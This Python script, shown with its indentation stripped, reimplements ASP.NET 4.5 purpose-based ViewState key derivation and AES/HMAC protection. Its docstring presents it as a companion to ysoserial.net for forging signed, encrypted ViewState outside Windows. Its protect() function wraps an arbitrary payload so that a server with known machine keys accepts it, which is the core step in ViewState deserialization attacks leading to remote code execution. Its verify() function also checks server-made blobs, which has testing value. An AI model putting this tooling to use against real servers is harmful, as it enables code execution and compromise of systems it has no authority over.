#!/usr/bin/env python3
"""
ASP.NET 4.5 purpose-based ViewState signer/encryptor.
Ports System.Web.Security.Cryptography (SP800_108 + NetFXCryptoService +
Purpose) from Microsoft's referencesource. Needed because ysoserial.net
does NOT implement this -- it reflects into the real System.Web.dll, so it
cannot run under mono/wine.
"""
import base64, hashlib, hmac, io, os, struct, sys
# ---------- Purpose ----------
def _bw_string(s: str) -> bytes:
"""System.IO.BinaryWriter.Write(string): 7-bit encoded length + UTF8."""
b = s.encode("utf-8")
n = len(b)
out = bytearray()
while n >= 0x80:
out.append((n & 0x7F) | 0x80)
n >>= 7
out.append(n)
return bytes(out) + b
def purpose_params(primary: str, specific: list[str]) -> tuple[bytes, bytes]:
label = primary.encode("utf-8")
ctx = io.BytesIO()
for sp in specific:
ctx.write(_bw_string(sp))
return label, ctx.getvalue()
# ---------- SP800-108 (counter mode, HMACSHA512 PRF) ----------
def derive_key(master: bytes, label: bytes, context: bytes) -> bytes:
key_len_bits = len(master) * 8
buf = bytearray(4 + len(label) + 1 + len(context) + 4)
buf[4:4 + len(label)] = label
buf[5 + len(label):5 + len(label) + len(context)] = context
struct.pack_into(">I", buf, 5 + len(label) + len(context), key_len_bits)
out = b""
i = 1
while len(out) < key_len_bits // 8:
struct.pack_into(">I", buf, 0, i)
out += hmac.new(master, bytes(buf), hashlib.sha512).digest()
i += 1
return out[:key_len_bits // 8]
# ---------- page path simulation (mirrors ysoserial.net) ----------
def template_source_directory(path: str) -> str:
r = path if path.startswith("/") else "/" + path
if r.rfind(".") > r.rfind("/"):
r = r[:r.rfind("/") + 1]
return r[:-1] if len(r) > 1 and r.endswith("/") else r
def get_type_name(path: str, apppath: str) -> str:
r = path if path.startswith("/") else "/" + path
if not r.lower().endswith(".aspx"):
r += "/default.aspx"
a = apppath.lower()
if not a.startswith("/"):
a = "/" + a
if not a.endswith("/"):
a += "/"
i = r.lower().find(a)
if i >= 0:
r = r[i + len(a):]
if r.startswith("/"):
r = r[1:]
r = r.replace(".", "_").replace("/", "_")
return r[:-1] if len(r) > 1 and r.endswith("/") else r
MAIN_PURPOSE = "WebForms.HiddenFieldPageStatePersister.ClientState"
MACS = {"SHA1": hashlib.sha1, "HMACSHA256": hashlib.sha256,
"HMACSHA384": hashlib.sha384, "HMACSHA512": hashlib.sha512,
"MD5": hashlib.md5}
def build_purpose(path, apppath, userkey=None):
sp = ["TemplateSourceDirectory: " + template_source_directory(path).upper(),
"Type: " + get_type_name(path, apppath).upper()]
if userkey:
sp.append("ViewStateUserKey: " + userkey)
return purpose_params(MAIN_PURPOSE, sp), sp
def protect(payload, vkey, valg, dkey, dalg, path, apppath, userkey=None, iv=None):
from Crypto.Cipher import AES
(label, ctx), _ = build_purpose(path, apppath, userkey)
ek = derive_key(dkey, label, ctx)
vk = derive_key(vkey, label, ctx)
iv = iv or os.urandom(16)
pad = 16 - (len(payload) % 16)
ct = AES.new(ek, AES.MODE_CBC, iv).encrypt(payload + bytes([pad]) * pad)
body = iv + ct
return body + hmac.new(vk, body, MACS[valg.upper()]).digest()
def verify(blob, vkey, valg, dkey, dalg, path, apppath, userkey=None):
"""Return (ok, plaintext|None). Validates the MAC the server produced."""
from Crypto.Cipher import AES
(label, ctx), sp = build_purpose(path, apppath, userkey)
vk = derive_key(vkey, label, ctx)
h = MACS[valg.upper()]
mlen = h().digest_size
body, mac = blob[:-mlen], blob[-mlen:]
ok = hmac.compare_digest(hmac.new(vk, body, h).digest(), mac)
pt = None
if ok and dkey:
try:
ek = derive_key(dkey, label, ctx)
d = AES.new(ek, AES.MODE_CBC, body[:16]).decrypt(body[16:])
pt = d[:-d[-1]]
except Exception:
pt = None
return ok, pt